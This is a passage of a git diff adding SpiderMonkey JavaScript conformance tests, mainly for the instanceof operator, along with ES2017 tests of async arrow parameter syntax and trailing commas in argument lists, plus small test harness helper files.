+InstanceOf( new Gen2(), Gen2, true );
+InstanceOf( new Gen2(), Gen3, true );
+
+// RelationalExpression.__proto__.__proto__ === Identifier.prototype
+InstanceOf( new Gen0(), Gen0, true );
+InstanceOf( new Gen0(), Gen1, true );
+InstanceOf( new Gen0(), Gen2, true );
+InstanceOf( new Gen0(), Gen3, true );
+
+InstanceOf( new Gen0(), Object, true );
+InstanceOf( new Gen0(), Function, false );
+
+InstanceOf( Gen0, Function, true );
+InstanceOf( Gen0, Object, true );
+
+test();
diff --git a/js/src/tests/ecma_2/extensions/instanceof-002.js b/js/src/tests/ecma_2/extensions/instanceof-002.js
new file mode 100644
index 000000000..65708f12a
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-002.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: instanceof-002.js
+ Section:
+ Description: Determining Instance Relationships
+
+ This test is the same as js1_3/inherit/proto-002, except that it uses
+ the builtin instanceof operator rather than a user-defined function
+ called InstanceOf.
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+// onerror = err;
+
+var SECTION = "instanceof-002";
+var VERSION = "ECMA_2";
+var TITLE = "Determining Instance Relationships";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object, constructor ) {
+ while ( object != null ) {
+ if ( object == constructor.prototype ) {
+ return true;
+ }
+ object = object.__proto__;
+ }
+ return false;
+}
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer();
+
+new TestCase( SECTION,
+ "pat.__proto__ == Engineer.prototype",
+ true,
+ pat.__proto__ == Engineer.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__ == WorkerBee.prototype",
+ true,
+ pat.__proto__.__proto__ == WorkerBee.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__ == Employee.prototype",
+ true,
+ pat.__proto__.__proto__.__proto__ == Employee.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__.__proto__ == Object.prototype",
+ true,
+ pat.__proto__.__proto__.__proto__.__proto__ == Object.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__.__proto__.__proto__ == null",
+ true,
+ pat.__proto__.__proto__.__proto__.__proto__.__proto__ == null );
+
+new TestCase( SECTION,
+ "pat instanceof Engineer",
+ true,
+ pat instanceof Engineer );
+
+new TestCase( SECTION,
+ "pat instanceof WorkerBee )",
+ true,
+ pat instanceof WorkerBee );
+
+new TestCase( SECTION,
+ "pat instanceof Employee )",
+ true,
+ pat instanceof Employee );
+
+new TestCase( SECTION,
+ "pat instanceof Object )",
+ true,
+ pat instanceof Object );
+
+new TestCase( SECTION,
+ "pat instanceof SalesPerson )",
+ false,
+ pat instanceof SalesPerson );
+test();
diff --git a/js/src/tests/ecma_2/extensions/instanceof-003-n.js b/js/src/tests/ecma_2/extensions/instanceof-003-n.js
new file mode 100644
index 000000000..1b3937ac8
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-003-n.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: instanceof-001.js
+ * ECMA Section: 11.8.6
+ * Description:
+ *
+ * RelationalExpression instanceof Identifier
+ *
+ * Author: christine@netscape.com
+ * Date: 2 September 1998
+ */
+var SECTION = "instanceof-003-n";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof"
+
+ startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object_1, object_2, expect ) {
+
+ result = object_1 instanceof object_2;
+
+ new TestCase(
+ SECTION,
+ "(" + object_1 + ") instanceof " + object_2,
+ expect,
+ result );
+}
+
+function Gen3(value) {
+ this.value = value;
+ this.generation = 3;
+ this.toString = new Function ( "return \"(Gen\"+this.generation+\" instance)\"" );
+}
+Gen3.name = 3;
+Gen3.__proto__.toString = new Function( "return \"(\"+this.name+\" object)\"");
+
+function Gen2(value) {
+ this.value = value;
+ this.generation = 2;
+}
+Gen2.name = 2;
+Gen2.prototype = new Gen3();
+
+function Gen1(value) {
+ this.value = value;
+ this.generation = 1;
+}
+Gen1.name = 1;
+Gen1.prototype = new Gen2();
+
+function Gen0(value) {
+ this.value = value;
+ this.generation = 0;
+}
+Gen0.name = 0;
+Gen0.prototype = new Gen1();
+
+
+function GenA(value) {
+ this.value = value;
+ this.generation = "A";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+
+}
+GenA.prototype = new Gen0();
+GenA.name = "A";
+
+function GenB(value) {
+ this.value = value;
+ this.generation = "B";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+}
+GenB.name = "B"
+ GenB.prototype = void 0;
+
+// Identifier is not a function
+DESCRIPTION = "Identifier is not a function";
+EXPECTED = "error";
+
+InstanceOf( true, true, "error" );
+
+test();
diff --git a/js/src/tests/ecma_2/extensions/instanceof-004-n.js b/js/src/tests/ecma_2/extensions/instanceof-004-n.js
new file mode 100644
index 000000000..18de1c8da
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-004-n.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: instanceof-001.js
+ * ECMA Section: 11.8.6
+ * Description:
+ *
+ * RelationalExpression instanceof Identifier
+ *
+ * Author: christine@netscape.com
+ * Date: 2 September 1998
+ */
+var SECTION = "instanceof-004-n";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof"
+
+ startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object_1, object_2, expect ) {
+ result = object_1 instanceof object_2;
+
+ new TestCase(
+ SECTION,
+ "(" + object_1 + ") instanceof " + object_2,
+ expect,
+ result );
+}
+
+function Gen3(value) {
+ this.value = value;
+ this.generation = 3;
+ this.toString = new Function ( "return \"(Gen\"+this.generation+\" instance)\"" );
+}
+Gen3.name = 3;
+Gen3.__proto__.toString = new Function( "return \"(\"+this.name+\" object)\"");
+
+function Gen2(value) {
+ this.value = value;
+ this.generation = 2;
+}
+Gen2.name = 2;
+Gen2.prototype = new Gen3();
+
+function Gen1(value) {
+ this.value = value;
+ this.generation = 1;
+}
+Gen1.name = 1;
+Gen1.prototype = new Gen2();
+
+function Gen0(value) {
+ this.value = value;
+ this.generation = 0;
+}
+Gen0.name = 0;
+Gen0.prototype = new Gen1();
+
+
+function GenA(value) {
+ this.value = value;
+ this.generation = "A";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+
+}
+GenA.prototype = new Gen0();
+GenA.name = "A";
+
+function GenB(value) {
+ this.value = value;
+ this.generation = "B";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+}
+GenB.name = "B"
+ GenB.prototype = void 0;
+
+// Identifier is not a function
+
+DESCRIPTION = "Identifier is not a function";
+EXPECTED = "error";
+
+InstanceOf( new Boolean(true), false, "error" );
+
+test();
diff --git a/js/src/tests/ecma_2/extensions/instanceof-005-n.js b/js/src/tests/ecma_2/extensions/instanceof-005-n.js
new file mode 100644
index 000000000..8f02162ca
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-005-n.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: instanceof-001.js
+ * ECMA Section: 11.8.6
+ * Description:
+ *
+ * RelationalExpression instanceof Identifier
+ *
+ * Author: christine@netscape.com
+ * Date: 2 September 1998
+ */
+var SECTION = "instanceof-005-n";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof"
+
+ startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object_1, object_2, expect ) {
+ result = object_1 instanceof object_2;
+
+ new TestCase(
+ SECTION,
+ "(" + object_1 + ") instanceof " + object_2,
+ expect,
+ result );
+}
+
+function Gen3(value) {
+ this.value = value;
+ this.generation = 3;
+ this.toString = new Function ( "return \"(Gen\"+this.generation+\" instance)\"" );
+}
+Gen3.name = 3;
+Gen3.__proto__.toString = new Function( "return \"(\"+this.name+\" object)\"");
+
+function Gen2(value) {
+ this.value = value;
+ this.generation = 2;
+}
+Gen2.name = 2;
+Gen2.prototype = new Gen3();
+
+function Gen1(value) {
+ this.value = value;
+ this.generation = 1;
+}
+Gen1.name = 1;
+Gen1.prototype = new Gen2();
+
+function Gen0(value) {
+ this.value = value;
+ this.generation = 0;
+}
+Gen0.name = 0;
+Gen0.prototype = new Gen1();
+
+
+function GenA(value) {
+ this.value = value;
+ this.generation = "A";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+
+}
+GenA.prototype = new Gen0();
+GenA.name = "A";
+
+function GenB(value) {
+ this.value = value;
+ this.generation = "B";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+}
+GenB.name = "B"
+ GenB.prototype = void 0;
+
+
+// Identifier is a function, prototype of Identifier is not an object
+
+DESCRIPTION = "Identifier is a function, prototype of Identifier is not an object";
+EXPECTED = "error";
+
+InstanceOf( new GenB(), GenB, "error" );
+
+test();
diff --git a/js/src/tests/ecma_2/extensions/instanceof-006.js b/js/src/tests/ecma_2/extensions/instanceof-006.js
new file mode 100644
index 000000000..9f18c4e10
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-006.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: instanceof-001.js
+ * ECMA Section: 11.8.6
+ * Description:
+ *
+ * RelationalExpression instanceof Identifier
+ *
+ * Author: christine@netscape.com
+ * Date: 2 September 1998
+ */
+var SECTION = "instanceof-001";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof"
+
+ startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object_1, object_2, expect ) {
+ result = object_1 instanceof object_2;
+
+ new TestCase(
+ SECTION,
+ "(" + object_1 + ") instanceof " + object_2,
+ expect,
+ result );
+}
+
+function Gen3(value) {
+ this.value = value;
+ this.generation = 3;
+ this.toString = new Function ( "return \"(Gen\"+this.generation+\" instance)\"" );
+}
+Gen3.name = 3;
+Gen3.__proto__.toString = new Function( "return \"(\"+this.name+\" object)\"");
+
+function Gen2(value) {
+ this.value = value;
+ this.generation = 2;
+}
+Gen2.name = 2;
+Gen2.prototype = new Gen3();
+
+function Gen1(value) {
+ this.value = value;
+ this.generation = 1;
+}
+Gen1.name = 1;
+Gen1.prototype = new Gen2();
+
+function Gen0(value) {
+ this.value = value;
+ this.generation = 0;
+}
+Gen0.name = 0;
+Gen0.prototype = new Gen1();
+
+
+function GenA(value) {
+ this.value = value;
+ this.generation = "A";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+
+}
+GenA.prototype = new Gen0();
+GenA.name = "A";
+
+function GenB(value) {
+ this.value = value;
+ this.generation = "B";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+}
+GenB.name = "B"
+ GenB.prototype = void 0;
+
+// RelationalExpression is not an object.
+
+// InstanceOf( true, Boolean, false );
+InstanceOf( new Boolean(false), Boolean, true );
+
+test();
diff --git a/js/src/tests/ecma_2/extensions/shell.js b/js/src/tests/ecma_2/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/shell.js
diff --git a/js/src/tests/ecma_2/instanceof/browser.js b/js/src/tests/ecma_2/instanceof/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/browser.js
diff --git a/js/src/tests/ecma_2/instanceof/instanceof-001.js b/js/src/tests/ecma_2/instanceof/instanceof-001.js
new file mode 100644
index 000000000..9bdc7bfe3
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/instanceof-001.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: instanceof-1.js
+ ECMA Section:
+ Description: instanceof operator
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var b = new Boolean();
+
+new TestCase( SECTION,
+ "var b = new Boolean(); b instanceof Boolean",
+ true,
+ b instanceof Boolean );
+
+new TestCase( SECTION,
+ "b instanceof Object",
+ true,
+ b instanceof Object );
+
+test();
diff --git a/js/src/tests/ecma_2/instanceof/instanceof-002.js b/js/src/tests/ecma_2/instanceof/instanceof-002.js
new file mode 100644
index 000000000..6b2bb7f4f
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/instanceof-002.js
@@ -0,0 +1,51 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name:
+ ECMA Section:
+ Description: Call Objects
+
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "";
+var VERSION = "ECMA_2";
+var TITLE = "The Call Constructor";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var b = new Boolean();
+
+new TestCase( SECTION,
+ "var b = new Boolean(); b instanceof Boolean",
+ true,
+ b instanceof Boolean );
+
+new TestCase( SECTION,
+ "b instanceof Object",
+ true,
+ b instanceof Object );
+
+new TestCase( SECTION,
+ "b instanceof Array",
+ false,
+ b instanceof Array );
+
+new TestCase( SECTION,
+ "true instanceof Boolean",
+ false,
+ true instanceof Boolean );
+
+new TestCase( SECTION,
+ "Boolean instanceof Object",
+ true,
+ Boolean instanceof Object );
+test();
+
diff --git a/js/src/tests/ecma_2/instanceof/instanceof-003.js b/js/src/tests/ecma_2/instanceof/instanceof-003.js
new file mode 100644
index 000000000..1021914e9
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/instanceof-003.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: instanceof-003.js
+ ECMA Section:
+ Description: http://bugzilla.mozilla.org/show_bug.cgi?id=7635
+
+ js> function Foo() {}
+ js> theproto = {};
+ [object Object]
+ js> Foo.prototype = theproto
+ [object Object]
+ js> theproto instanceof Foo
+ true
+
+ I think this should be 'false'
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Modified to conform to ECMA3
+ https://bugzilla.mozilla.org/show_bug.cgi?id=281606
+*/
+var SECTION = "instanceof-003";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof operator";
+var BUGNUMBER ="7635";
+
+startTest();
+
+function Foo() {};
+theproto = {};
+Foo.prototype = theproto;
+
+AddTestCase(
+ "function Foo() = {}; theproto = {}; Foo.prototype = theproto; " +
+ "theproto instanceof Foo",
+ false,
+ theproto instanceof Foo );
+
+
+var o = {};
+
+// https://bugzilla.mozilla.org/show_bug.cgi?id=281606
+try
+{
+ AddTestCase(
+ "o = {}; o instanceof o",
+ "error",
+ o instanceof o );
+}
+catch(e)
+{
+ AddTestCase(
+ "o = {}; o instanceof o",
+ "error",
+ "error" );
+}
+
+test();
diff --git a/js/src/tests/ecma_2/instanceof/regress-7635.js b/js/src/tests/ecma_2/instanceof/regress-7635.js
new file mode 100644
index 000000000..7ea94e037
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/regress-7635.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: regress-7635.js
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=7635
+ * Description: instanceof tweaks
+ * Author:
+ */
+
+var SECTION = "instanceof"; // provide a document reference (ie, ECMA section)
+var VERSION = "ECMA_2"; // Version of JavaScript or ECMA
+var TITLE = "Regression test for Bugzilla #7635"; // Provide ECMA section title or a description
+var BUGNUMBER = "7635"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+function Foo() {}
+theproto = {};
+Foo.prototype = theproto
+ theproto instanceof Foo
+
+
+ AddTestCase( "function Foo() {}; theproto = {}; Foo.prototype = theproto; theproto instanceof Foo",
+ false,
+ theproto instanceof Foo );
+
+var f = new Function();
+
+AddTestCase( "var f = new Function(); f instanceof f", false, f instanceof f );
+
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/ecma_2/instanceof/shell.js b/js/src/tests/ecma_2/instanceof/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/instanceof/shell.js
diff --git a/js/src/tests/ecma_2/shell.js b/js/src/tests/ecma_2/shell.js
new file mode 100644
index 000000000..f744c6d29
--- /dev/null
+++ b/js/src/tests/ecma_2/shell.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var TZ_DIFF = getTimeZoneDiff();
+
+/*
+ * Originally, the test suite used a hard-coded value TZ_DIFF = -8.
+ * But that was only valid for testers in the Pacific Standard Time Zone!
+ * We calculate the proper number dynamically for any tester. We just
+ * have to be careful to use a date not subject to Daylight Savings Time...
+ */
+function getTimeZoneDiff()
+{
+ return -((new Date(2000, 1, 1)).getTimezoneOffset())/60;
+}
diff --git a/js/src/tests/ecma_2/template.js b/js/src/tests/ecma_2/template.js
new file mode 100644
index 000000000..6217968cd
--- /dev/null
+++ b/js/src/tests/ecma_2/template.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+
+/**
+ * File Name: template.js
+ * Reference: ** replace with bugzilla URL or document reference **
+ * Description: ** replace with description of test **
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = ""; // if ECMA test, provide section number
+var VERSION = "ECMA_2"; // Version of JavaScript or ECMA
+var TITLE = ""; // Provide ECMA section title or description
+var BUGNUMBER = ""; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+
+/* Calls to AddTestCase here */
+
+test(); // leave this alone
diff --git a/js/src/tests/ecma_2017/AsyncFunctions/browser.js b/js/src/tests/ecma_2017/AsyncFunctions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2017/AsyncFunctions/browser.js
diff --git a/js/src/tests/ecma_2017/AsyncFunctions/cover-init-name-syntax.js b/js/src/tests/ecma_2017/AsyncFunctions/cover-init-name-syntax.js
new file mode 100644
index 000000000..cb7858a67
--- /dev/null
+++ b/js/src/tests/ecma_2017/AsyncFunctions/cover-init-name-syntax.js
@@ -0,0 +1,65 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// CoverInitName in async arrow parameters.
+async ({a = 1}) => {};
+async ({a = 1}, {b = 2}) => {};
+async ({a = 1}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+// CoverInitName nested in array destructuring.
+async ([{a = 0}]) => {};
+
+// CoverInitName nested in rest pattern.
+async ([...[{a = 0}]]) => {};
+
+// CoverInitName nested in object destructuring.
+async ({p: {a = 0}}) => {};
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/AsyncFunctions/duplicate-__proto__.js b/js/src/tests/ecma_2017/AsyncFunctions/duplicate-__proto__.js
new file mode 100644
index 000000000..d60b05248
--- /dev/null
+++ b/js/src/tests/ecma_2017/AsyncFunctions/duplicate-__proto__.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Async arrow function parameters.
+async ({__proto__: a, __proto__: b}) => {};
+
+// Async arrow function parameters with defaults (initially parsed as destructuring assignment).
+async ({__proto__: a, __proto__: b} = {}) => {};
+
+// Duplicate __proto__ in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/AsyncFunctions/shell.js b/js/src/tests/ecma_2017/AsyncFunctions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2017/AsyncFunctions/shell.js
diff --git a/js/src/tests/ecma_2017/Expressions/browser.js b/js/src/tests/ecma_2017/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/browser.js
diff --git a/js/src/tests/ecma_2017/Expressions/shell.js b/js/src/tests/ecma_2017/Expressions/shell.js
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/shell.js
@@ -0,0 +1 @@
+
diff --git a/js/src/tests/ecma_2017/Expressions/trailing_comma_arguments.js b/js/src/tests/ecma_2017/Expressions/trailing_comma_arguments.js
new file mode 100644
index 000000000..612fd46a1
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/trailing_comma_arguments.js
@@ -0,0 +1,85 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in Arguments production.
+
+// 12.3 Left-Hand-Side Expressions
+// Arguments[Yield]:
+// ()
+// ( ArgumentList[?Yield] )
+// ( ArgumentList[?Yield] , )
+
+
+function argsLength() {
+ return {value: arguments.length};
+}
+function sum(...rest) {
+ return {value: rest.reduce((a, c) => a + c, 0)};
+}
+
+function call(f, argList) {
+ return eval(`(${f}(${argList})).value`);
+}
+
+function newCall(F, argList) {
+ return eval(`(new ${F}(${argList})).value`);
+}
+
+function superCall(superClass, argList) {
+ return eval(`(new class extends ${superClass} {
+ constructor() {
+ super(${argList});
+ }
+ }).value`);
+}
+
+// Ensure the correct number of arguments is passed.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "argsLength");
+
+ assertEq(test("10, "), 1);
+ assertEq(test("10, 20, "), 2);
+ assertEq(test("10, 20, 30, "), 3);
+ assertEq(test("10, 20, 30, 40, "), 4);
+
+ assertEq(test("...[10, 20], "), 2);
+ assertEq(test("...[10, 20], 30, "), 3);
+ assertEq(test("...[10, 20], ...[30], "), 3);
+}
+
+// Ensure the arguments themselves are passed correctly.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "sum");
+
+ assertEq(test("10, "), 10);
+ assertEq(test("10, 20, "), 30);
+ assertEq(test("10, 20, 30, "), 60);
+ assertEq(test("10, 20, 30, 40, "), 100);
+
+ assertEq(test("...[10, 20], "), 30);
+ assertEq(test("...[10, 20], 30, "), 60);
+ assertEq(test("...[10, 20], ...[30], "), 60);
+}
+
+// Error cases.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "f");
+
+ // Trailing comma in empty arguments list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("...a, , "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/Expressions/trailing_comma_arrow.js b/js/src/tests/ecma_2017/Expressions/trailing_comma_arrow.js
new file mode 100644
index 000000000..f36b476ef
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/trailing_comma_arrow.js
@@ -0,0 +1,108 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in CoverParenthesizedExpressionAndArrowParameterList production.
+
+// 12.2 Primary Expression
+// CoverParenthesizedExpressionAndArrowParameterList[Yield]:
+// ( Expression[In, ?Yield] )
+// ( Expression[In, ?Yield] , )
+// ()
+// ( ...BindingIdentifier[?Yield] )
